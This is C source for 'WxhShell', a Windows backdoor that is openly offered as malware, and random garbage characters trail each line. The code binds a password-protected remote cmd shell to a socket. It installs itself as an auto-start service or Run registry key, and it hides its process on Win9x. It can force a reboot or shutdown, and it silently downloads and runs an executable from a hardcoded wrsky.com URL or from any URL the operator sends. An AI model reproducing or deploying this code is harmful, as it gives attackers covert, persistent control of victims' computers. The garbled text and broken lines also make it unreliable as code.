    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ud `- w  
    else { ]##aAh-P4&  
    closesocket(wsh); hU""YP ~y  
    ExitThread(0); 9KU&M"Yq&i  
    } /ovVS6Ai  
    break; d-_V*rYU  
    } %m |I=P  
  // 获取shell ZX:rqc  
  case 's': { }4YzP 4  
    CmdShell(wsh); HXa[0VOx  
    closesocket(wsh); 7x6 M]1F  
    ExitThread(0); adP  :{j  
    break; >NBc-DX^  
  } 'Nl hLu  
  // 退出 pz /[ ${X  
  case 'x': { 7?=^0?a  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); N x&/p$d  
    CloseIt(wsh); p3U)J&]c6  
    break; 9O3#d  
    } 8<C*D".T$  
  // 离开 VhkM{O  
  case 'q': { MT&aH~YB  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |X8?B =  
    closesocket(wsh); k)n b<JW|r  
    WSACleanup(); 6#+&/ "*  
    exit(1); 9Y,JYc#  
    break; ~JXz  
        } 2xLtJR4L  
  } 1X2j%q I&  
  } U9:)qvMXe  
t`H1]`c?  
  // 提示信息 D!o[Sm}JO[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fIoc)T  
} d^}p#7mB\  
  } H]/ ~ #a  
031"D*W'i  
  return; {Ge{@1  
} UN.;w3`Oc  
ur}'Y^0iR  
// shell模块句柄  B(;MI`  
int CmdShell(SOCKET sock) ?@G s7'  
{ ,>-D xS  
STARTUPINFO si;  8${n}}  
ZeroMemory(&si,sizeof(si)); ;-Yvi,sS+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; TWpw/osW  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; = J;I5:J  
PROCESS_INFORMATION ProcessInfo; x 7by|G(  
char cmdline[]="cmd"; z{L'7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4{uQ}ea  
  return 0; =-si| 1Z  
} d-~V.  
44ty,M3  
// 自身启动模式 _X4Y1zh  
int StartFromService(void) S $p>sItO  
{ eyMn! a  
typedef struct a*cWj }u  
{ ;l*%IMB  
  DWORD ExitStatus; +\T8`iCFB  
  DWORD PebBaseAddress; 3<^Up1CaZ  
  DWORD AffinityMask; xQFY/Z  
  DWORD BasePriority; ;gZ ^c]\  
  ULONG UniqueProcessId; vkE`T5??  
  ULONG InheritedFromUniqueProcessId; d~u=,@FK  
}   PROCESS_BASIC_INFORMATION; i&:SWH=  
x []ad"R  
PROCNTQSIP NtQueryInformationProcess; @ 8H$   
Ku ,wI86  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; dun`/QKV  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; U*C^g}iA  
d0 )725Ia  
  HANDLE             hProcess; zIrOMh  
  PROCESS_BASIC_INFORMATION pbi; nc;e NB  
,m#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ni?k' \\  
  if(NULL == hInst ) return 0; ;A,X,f  
T>B'T3or  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Q-oDmjU  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); '.bf88D  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); TTVmm{6  
n*7^lAa2  
  if (!NtQueryInformationProcess) return 0; +c~&o83[  
]:gW+6w"C  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ok_}d&A  
  if(!hProcess) return 0; w#b@6d  
zQyI4RHG[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hBX*02p   
M3jUnp&  
  CloseHandle(hProcess); Q6HJ+H-Ub  
N\PdX$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Ur])*#  
if(hProcess==NULL) return 0; ,4Q4{Tx  
RzqgN*]lY  
HMODULE hMod; -hXKCb4YU  
char procName[255]; mWv$eR  
unsigned long cbNeeded; E]mm^i`|  
9 -pt}U  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %aNm j)L  
<Z%=lwtX  
  CloseHandle(hProcess); ,\6Vb*G|E>  
712nD ?>  
if(strstr(procName,"services")) return 1; // 以服务启动 V?M (exN  
uY.Ns ?8  
  return 0; // 注册表启动 A08kwYxiW  
} r:bJU1P1$s  
EHC7b^|3}  
// 主模块 6B?jc/V.R  
int StartWxhshell(LPSTR lpCmdLine) N9!L8BBaK  
{ VM%g QOo<  
  SOCKET wsl; t+U.4mS-  
BOOL val=TRUE; KZ%i&w#<  
  int port=0; |]9@JdmV  
  struct sockaddr_in door; r? /Uu &  
{U;yW)  
  if(wscfg.ws_autoins) Install(); x-[ItJ% l  
hS,&Nj+  
port=atoi(lpCmdLine); xF[%R{Mn'  
mXz*Gi  
if(port<=0) port=wscfg.ws_port; `6~0W5  
:K6JrS  
  WSADATA data; W0f^!}f(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 76!LMNf  
:i<*~0r<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   zP,r,ok7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4k225~GQ:C  
  door.sin_family = AF_INET; D./{f8  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); GeP={lj  
  door.sin_port = htons(port); O^cC+@l!4  
Or? )Nlg6x  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7 FE36Ub9  
closesocket(wsl); ; dzL9P9IU  
return 1; KUJLx  
} (m R)o&Y%,  
-$:; en?  
  if(listen(wsl,2) == INVALID_SOCKET) { (,h2qP-;ud  
closesocket(wsl); w1tM !4r  
return 1; zP44 Xhz  
} 3Z?ornS  
  Wxhshell(wsl); 5mZ2CDV  
  WSACleanup(); TLsF c^X  
NA0nF8ek  
return 0; |`o|;A]  
6.)ug7aF  
} 1D 'r;`z  
8{ZTHY -  
// 以NT服务方式启动 !'N@ZZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) m54>}  
{ %>&ex0j]  
DWORD   status = 0; D"pT?\kO  
  DWORD   specificError = 0xfffffff; z6R|1L 1  
h r];!.Fv  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "OenYiz  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; F1.Xk1y%  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; iE''>Z  
  serviceStatus.dwWin32ExitCode     = 0; M=raKb?F  
  serviceStatus.dwServiceSpecificExitCode = 0; c]u ieig0~  
  serviceStatus.dwCheckPoint       = 0; dy_Uh)$$|g  
  serviceStatus.dwWaitHint       = 0; %C/p+Tg  
e6taQz@}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); fn,n'E]  
  if (hServiceStatusHandle==0) return; uA#K59E+  
gk|>E[.  
status = GetLastError(); RvAgv[8  
  if (status!=NO_ERROR) Q` &#u#  
{ 3Z" ;a  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Br!;Ac&N  
    serviceStatus.dwCheckPoint       = 0; Odo)h  
    serviceStatus.dwWaitHint       = 0; 5[4wN( )  
    serviceStatus.dwWin32ExitCode     = status; ;}SGJ7  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3/+kjY/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~pZ0B#K J  
    return; I#2$CSJ  
  } 4z(~)#'^  
i3 eF_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; + Tp% *  
  serviceStatus.dwCheckPoint       = 0; J:Fq ip  
  serviceStatus.dwWaitHint       = 0; ;d}>8w&tfy  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); C7dq=(p&  
} ~6;I"0b5  
',R%Q0Q  
// 处理NT服务事件,比如:启动、停止 RFRXOyGz$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ``CM7|)>`  
{ 8|zavH#P  
switch(fdwControl) ]owgsR  
{ nms[No?  
case SERVICE_CONTROL_STOP: z0rYzn?MR  
  serviceStatus.dwWin32ExitCode = 0; |~5cN m  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /O:4u_  
  serviceStatus.dwCheckPoint   = 0; b\0>uU  
  serviceStatus.dwWaitHint     = 0; {Phq39g  
  { yz K<yvN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); f,yl'2{  
  } Kzn1ct{65!  
  return; q%x i>H.:{  
case SERVICE_CONTROL_PAUSE: l+6c|([  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }W'j Dz7O  
  break;  a[nSUlT&  
case SERVICE_CONTROL_CONTINUE: Gl>\p  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; dXxf{|gk>  
  break; F9eEQ{L  
case SERVICE_CONTROL_INTERROGATE: MU$tX  
  break; ?L0;, \-t  
}; 9;LjM ~Ct  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4wSZ'RTSR  
} ;\w3IAa|V  
a"-uJn  
// 标准应用程序主函数 _{`Z?lt  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2vpQ"e- A  
{ he~8V.$  
^>E>\uz0v  
// 获取操作系统版本 4tkT\.  
OsIsNt=GetOsVer(); \C$e+qb~{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); In1{&sS  
B]tj0FB`-*  
  // 从命令行安装 RVA ku  
  if(strpbrk(lpCmdLine,"iI")) Install(); _b<;n|^  
KyrZ&E.`  
  // 下载执行文件 A@>/PB6n  
if(wscfg.ws_downexe) { :lXY% [!6P  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~T H4='4W3  
  WinExec(wscfg.ws_filenam,SW_HIDE); t|'%0 W  
} hk=[v7  
[KBa=3>{  
if(!OsIsNt) { 8;pY-j #  
// 如果时win9x,隐藏进程并且设置为注册表启动 aUNA` L  
HideProc(); LN+x!#:e  
StartWxhshell(lpCmdLine); bJn&Y  
} /%;J1 {O  
else BeFyx"NBg  
  if(StartFromService()) bhpaC8|  
  // 以服务方式启动 iN8[^,2H|  
  StartServiceCtrlDispatcher(DispatchTable); 9_wDh0b~p  
else O^!ds  
  // 普通方式启动 SLEOc OAmD  
  StartWxhshell(lpCmdLine); .I~:j`K6  
eikZ~!@  
return 0; lt-3OcC  
} ?u#s?$Y?  
Jd/d\P  
EeMKo  
33<{1Y[Q6E  
=========================================== }IWt\a<d  
lZRO"[<  
;-"!p  
i ZPNss  
G0!6rDu2,  
DNZ,rL:h  
" *bo| F%NAz  
 ^[SW07o~  
#include <stdio.h> "0%K3d+  
#include <string.h> W5'6L =WG  
#include <windows.h> |_ED*ATR=  
#include <winsock2.h> QlvP[Jtr  
#include <winsvc.h> 9b >+ehjB  
#include <urlmon.h> 3r#['UmT  
].d%R a:{  
#pragma comment (lib, "Ws2_32.lib") G9-ETj}  
#pragma comment (lib, "urlmon.lib") F(.`@OO  
syLdm3d|  
#define MAX_USER   100 // 最大客户端连接数 423%K$710  
#define BUF_SOCK   200 // sock buffer a$?d_BX  
#define KEY_BUFF   255 // 输入 buffer PeIi@0vA  
GU`q^q@Ea  
#define REBOOT     0   // 重启 3| w$gG;Y  
#define SHUTDOWN   1   // 关机 z59;Qk  
=Pn"nkpML  
#define DEF_PORT   5000 // 监听端口 T^] ]z}k  
5JaLE5-  
#define REG_LEN     16   // 注册表键长度 DqY"N ]  
#define SVC_LEN     80   // NT服务名长度 l"JM%LV  
@ NDcO,]  
// 从dll定义API h-Y>>l>PW0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Tv'1IE  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]:@{tX 7c  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); DjaXJ?'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); pjS##pgVq  
c nv%J}wq  
// wxhshell配置信息 _,0.h*c  
struct WSCFG { /,uxj5_cT  
  int ws_port;         // 监听端口 CvRCcSJM\2  
  char ws_passstr[REG_LEN]; // 口令 |qguLab(  
  int ws_autoins;       // 安装标记, 1=yes 0=no O7IYg;  
  char ws_regname[REG_LEN]; // 注册表键名 g&$5!ifgi  
  char ws_svcname[REG_LEN]; // 服务名 KsTGae;ds  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 q p}2  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \C~6 '  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 c}$>UhLe  
int ws_downexe;       // 下载执行标记, 1=yes 0=no h{o,*QL  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `+(n+QS _  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 bxPa|s?  
{q$U\y%Rq  
}; w5y.kc;  
e8):'Cb   
// default Wxhshell configuration -*[)CR-{  
struct WSCFG wscfg={DEF_PORT, :RIqA/  
    "xuhuanlingzhe", d~_5Jx  
    1, :9L}jz  
    "Wxhshell", #t1? *4.p  
    "Wxhshell", jTqJ(M}L  
            "WxhShell Service", indbg d  
    "Wrsky Windows CmdShell Service", @I1*b>X~<  
    "Please Input Your Password: ", ~)$R'=  
  1, VJ'-"8tY&  
  "http://www.wrsky.com/wxhshell.exe",  ~}p k^FA  
  "Wxhshell.exe" s \3]0n9  
    }; `Ivt)T+n;  
n(z$u)Y  
// 消息定义模块 XFs7kTY  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  :Kyr}-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _}j>  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]3|h6KWq  
char *msg_ws_ext="\n\rExit."; Pl|I{l*o(`  
char *msg_ws_end="\n\rQuit."; lMW6D0^  
char *msg_ws_boot="\n\rReboot..."; SF:{PgGMi  
char *msg_ws_poff="\n\rShutdown...";  w<!&%  
char *msg_ws_down="\n\rSave to "; SkipPEhA  
COW lsca  
char *msg_ws_err="\n\rErr!"; xzz@Wc^_  
char *msg_ws_ok="\n\rOK!"; M@q)\UQ'  
$A74V [1^  
char ExeFile[MAX_PATH]; kz1Z K  
int nUser = 0; i)cG  
HANDLE handles[MAX_USER]; n&]J-^Tx  
int OsIsNt; Z>w@3$\z  
B ( h`~pb  
SERVICE_STATUS       serviceStatus; hC{2LLu;n  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; q4@+Pi)  
Bk.`G)t  
// 函数声明 -$%~EY}  
int Install(void); ~ cu+QR)  
int Uninstall(void); 7 v3%dCvf  
int DownloadFile(char *sURL, SOCKET wsh); aB G*  
int Boot(int flag); z,C>Rh9Id  
void HideProc(void); b; ;y|H  
int GetOsVer(void); xzMpTZQ  
int Wxhshell(SOCKET wsl); 2.j0pg .  
void TalkWithClient(void *cs); ;CL^2{  
int CmdShell(SOCKET sock); 8zeD%Uv  
int StartFromService(void); V#1v5mWVx  
int StartWxhshell(LPSTR lpCmdLine); h\)ual_r[j  
4K;0.W;~|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); N/0Q`cQ-  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); KVoi>?a   
MD1d  
// 数据结构和表定义 <;+QK=f  
SERVICE_TABLE_ENTRY DispatchTable[] = Lrx"Hn{  
{ RM2feWm  
{wscfg.ws_svcname, NTServiceMain}, 3!*` hQ;s  
{NULL, NULL} \sVzBHy d  
}; EG=U](8T  
},5LrX`L  
// 自我安装 [A!=Hv_$  
int Install(void) H lFVc  
{ 6xh -m  
  char svExeFile[MAX_PATH]; XxB%  
  HKEY key; |QH )A  
  strcpy(svExeFile,ExeFile); z}VCiS0  
B%[#["Ol  
// 如果是win9x系统,修改注册表设为自启动 +C`vO5\0  
if(!OsIsNt) { u4=ulgi  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { | ~D~#Nz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]%Whtj.,x7  
  RegCloseKey(key); VJgf, 5 (N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZZ0b!{qj3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C}XB%:5H5  
  RegCloseKey(key); t nmz5Q  
  return 0; ac4dIW{$3  
    } NlG!_D"(y  
  } aI\ >=*HF  
} ok&v+A  
else { .$x822   
<&M5#:u  
// 如果是NT以上系统,安装为系统服务 [z} $G:s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -cXVkH{  
if (schSCManager!=0) E&W4`{6K4  
{ .W-=VzWX  
  SC_HANDLE schService = CreateService OHF:E44k  
  ( 79lG~BGE  
  schSCManager, ?0E-Lac=  
  wscfg.ws_svcname, #>$w9}gFi  
  wscfg.ws_svcdisp, | qf8y  
  SERVICE_ALL_ACCESS, C\[g>_J  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Q},uM_" +  
  SERVICE_AUTO_START, fV/  
  SERVICE_ERROR_NORMAL, rlDJHR6  
  svExeFile, UB;~Rf(.  
  NULL, q*>|EJR^Rw  
  NULL, A56aOI=  
  NULL, xaSiG  
  NULL, 8\Z/mU*4  
  NULL $J:~jY/J  
  ); w\.z-6G  
  if (schService!=0) <J1$s_^`  
  { !3at(+4  
  CloseServiceHandle(schService); vi.q]$ohbV  
  CloseServiceHandle(schSCManager); }5;3c%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); J&b&*3   
  strcat(svExeFile,wscfg.ws_svcname); hRN>]e,!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { f['pHR%l2$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +@oo8io  
  RegCloseKey(key); x(88Y7o.t  
  return 0; 2! bE|  
    } ?K?v64[  
  } flfE~_  
  CloseServiceHandle(schSCManager); QW%BKF!  
} [@t 6,g  
} &4l >_  
9=^4p=1J  
return 1; .l&<-l;UQ  
} </d&bS  
Rh#TR"  
// 自我卸载 X=OJgyO/  
int Uninstall(void) aib)ItNb  
{ OK9D4 7X  
  HKEY key; B,dKpz;kFg  
ODqWXw#  
if(!OsIsNt) { 6JL:p{RLi  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v:] AS:  
  RegDeleteValue(key,wscfg.ws_regname); K_~SJbl  
  RegCloseKey(key); [R[Suf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F{aM6I  
  RegDeleteValue(key,wscfg.ws_regname); vV9q5Bj:  
  RegCloseKey(key); AfW9;{j&I  
  return 0; ?_c*(2i&^  
  } t[L'}ig!q  
} wq&TU'O  
} ddD $ 4+  
else { Z)zmT%t  
[HhdeLOX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); U~8 oE_+  
if (schSCManager!=0) 7[ra#>e8'  
{ S}*%l)vfR  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @=[ SsS  
  if (schService!=0) )TcW.d6  
  { $r=Ud >  
  if(DeleteService(schService)!=0) { NLxsxomj  
  CloseServiceHandle(schService); jlZW!$Iq  
  CloseServiceHandle(schSCManager); Ot} E  
  return 0; A5ps|zidI  
  } &Qdd\h#  
  CloseServiceHandle(schService); AiO29<  
  } 0TI+6u  
  CloseServiceHandle(schSCManager); P}QuGy[  
} 8^N"D7{mO  
} l0$ +)FKd  
COK7 i^  
return 1; u{ .UZTn  
} x~tG[Y2F?  
r'q9N  
// 从指定url下载文件 ,2%>e"%  
int DownloadFile(char *sURL, SOCKET wsh) )rs);Pl  
{ ~T[m{8uh  
  HRESULT hr; AcYL3  
char seps[]= "/"; /\KB*dX  
char *token; MW+]w~7_Q  
char *file; b|*A%?m  
char myURL[MAX_PATH]; |3MqAvPJ  
char myFILE[MAX_PATH]; lLT;V2=osX  
m+Yj"RMx&  
strcpy(myURL,sURL); g.N~81A  
  token=strtok(myURL,seps); <zK9J?ZQW>  
  while(token!=NULL) ,9f$a n  
  { @BN cIJk9  
    file=token; q<b;xx  
  token=strtok(NULL,seps); (k..ll p~  
  } J,E'F!{  
+'x`rk  
GetCurrentDirectory(MAX_PATH,myFILE); xla9:*pPn  
strcat(myFILE, "\\"); toEmIa~o6  
strcat(myFILE, file); <c6C+OWT,  
  send(wsh,myFILE,strlen(myFILE),0); /tf}8d  
send(wsh,"...",3,0); \~zTc_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); V4!RUqK  
  if(hr==S_OK) fD<3Tl8U0  
return 0; }IGr%C(3%  
else kN>AY'1  
return 1; x=bAR%i~  
Z;W`deA  
} '+ |{4-V  
4 |N&Y  
// 系统电源模块 @fbB3  
int Boot(int flag) H0s,tTK8  
{ g!O(@Sqp1  
  HANDLE hToken; m4 *Rr  
  TOKEN_PRIVILEGES tkp; cV5Lp4wY?  
?zNv7Bj  
  if(OsIsNt) { (+9_nAgZ,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); HQ+:0" B  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); xS,#TU;)Ol  
    tkp.PrivilegeCount = 1; |YQ:4'^"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; VWG#v #o  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %9=^#e+pE  
if(flag==REBOOT) { Au" [2cG  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) - iS\3P.  
  return 0; u[^(s_  
} ?iUAzM8  
else { 8KW}XG  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) L;'+O u  
  return 0; 5_nkN`x  
} b'^ -$  
  } UPPDs"  
  else { y2^r.6"O  
if(flag==REBOOT) { Sj}@5 X6 C  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) y^:g"|q  
  return 0; R{+ Rvk  
} 3Cwqy#X#8  
else { VWmZ|9Ri  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) o;\0xuM@  
  return 0; 2HMlh.R(C  
} Srz.-,2PF  
} .)B_~tct  
yU*j{>%RsK  
return 1; lyx p:  
} lvb0dOmY  
V D.p"F(]  
// win9x进程隐藏模块 !w98 [BE7  
void HideProc(void) +tOBt("5/  
{ s%J|r{F6  
X1i6CEa<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :*6tbUp  
  if ( hKernel != NULL ) l<{]%=Qg  
  { ^C@uP9g  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); L$@^EENS  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); HH2*12e  
    FreeLibrary(hKernel); >wM%|j'  
  } SA{A E9y  
ZsUxO%jP  
return; Cfb/f]*M  
} zpIl'/ i  
2:/'  
// 获取操作系统版本 2 ,;+)  
int GetOsVer(void) EH]5ZZ[Z  
{ 6U7z8NV&[  
  OSVERSIONINFO winfo; I [0od+K  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]{nFB3vtB  
  GetVersionEx(&winfo); ,$sq]_t  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Sy'/%[+goJ  
  return 1; ev#d1s|<S  
  else M{:gc7%  
  return 0; ,ibI@8;#~'  
} *6q8kQsz^1  
\y: 0+s/  
// 客户端句柄模块 .F?yt5{5No  
int Wxhshell(SOCKET wsl) Yq#I# 2RD  
{ y^hpmTB3"  
  SOCKET wsh; lVXgp'!#j  
  struct sockaddr_in client; _jK\+Zf  
  DWORD myID; 7~eo^/Pb S  
-^$CGRE6A  
  while(nUser<MAX_USER) bP Er+?fu  
{ ]<4Yor}t{;  
  int nSize=sizeof(client); /[GOs*{zB  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); u sR19_E-  
  if(wsh==INVALID_SOCKET) return 1; z>&Py(  
#:vosVqG  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); WMZa6cH  
if(handles[nUser]==0) '9*wr*  
  closesocket(wsh); W2yNEiH  
else %7O`]ik:  
  nUser++; "(/|[7D)  
  } jY:(Tv3~  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?qw&H /R  
u|WX?@\  
  return 0; bI@+Or  
} 7l7eUy/z  
H<%7aOwO2  
// 关闭 socket NV*aHci  
void CloseIt(SOCKET wsh) @*q\$Eg}2  
{ ?Hf^& yo  
closesocket(wsh); doP4N6   
nUser--; =@binTC4  
ExitThread(0); ~0|~Fg  
} L`x:Y>C(  
_"a(vfl#  
// 客户端请求句柄 {+z+6i  
void TalkWithClient(void *cs) gO4J[_  
{ aAu upPu  
p4W->AVv$  
  SOCKET wsh=(SOCKET)cs; OWB^24Z&3  
  char pwd[SVC_LEN]; A]BG*  
  char cmd[KEY_BUFF]; . ~G>vVb  
char chr[1]; h}z^NX  
int i,j; zEF3B  
?O\n!c  
  while (nUser < MAX_USER) { 6VQ*z8wLw  
=35EG{W(  
if(wscfg.ws_passstr) { #TZYe4#f  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z.]t_`KuF9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); HG=!#-$9  
  //ZeroMemory(pwd,KEY_BUFF); VV?+q)  
      i=0; ;{q7rsE  
  while(i<SVC_LEN) { C n\'sb{  
mV`Z]-$$i  
  // 设置超时 # u^FB  
  fd_set FdRead; *ta|,  
  struct timeval TimeOut; sTeL4g|%{  
  FD_ZERO(&FdRead); cm-cwPAh  
  FD_SET(wsh,&FdRead); \[]36|$LS  
  TimeOut.tv_sec=8; :8E(pq|1PB  
  TimeOut.tv_usec=0; 5U3="L  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6g@j,iFy  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :5U(}\dL{  
vay_QxB5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3UD_2[aqN(  
  pwd=chr[0]; f Nm Sx  
  if(chr[0]==0xd || chr[0]==0xa) { sUfH1w)0  
  pwd=0; !7AW_l9`i  
  break; [*vk&  
  } B:qZh$YN  
  i++; aMZ6C <N  
    } F{]dq/{  
#2_phm'  
  // 如果是非法用户,关闭 socket c pgHF`nt  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~6kEpa  
} N: d`L+tcc  
GLnj& Ve  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %OfaBv&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w;}P<K  
ztgSd8GGE  
while(1) { yew9bn0a=  
B\KvKT|\  
  ZeroMemory(cmd,KEY_BUFF); , YTuZS  
`Kpn@Xg  
      // 自动支持客户端 telnet标准   Sw%=/g  
  j=0; opte)=]J  
  while(j<KEY_BUFF) { }j+ZF'#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <3O>  
  cmd[j]=chr[0]; mJ#u]tiL  
  if(chr[0]==0xa || chr[0]==0xd) { 4 FGcCE3  
  cmd[j]=0; %$`pD I)  
  break; I Zi1N  
  } Xv]O1fcI  
  j++; fk#SD "iJ  
    } 2o6KVQ  
TN.mNl%  
  // 下载文件 1 q}iUnR  
  if(strstr(cmd,"http://")) { tP"C >#LO  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); zK k;&y|{  
  if(DownloadFile(cmd,wsh)) Iy8Ehwejd  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \uQ(-ji  
  else B3c rms['  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Cbx/  
  } l yF~E  
  else { *-3K],^a  
}/SbmW8(1  
    switch(cmd[0]) { a7%5Qg9B;  
  nP0|nPWz#  
  // 帮助 9,`WQ+OI  
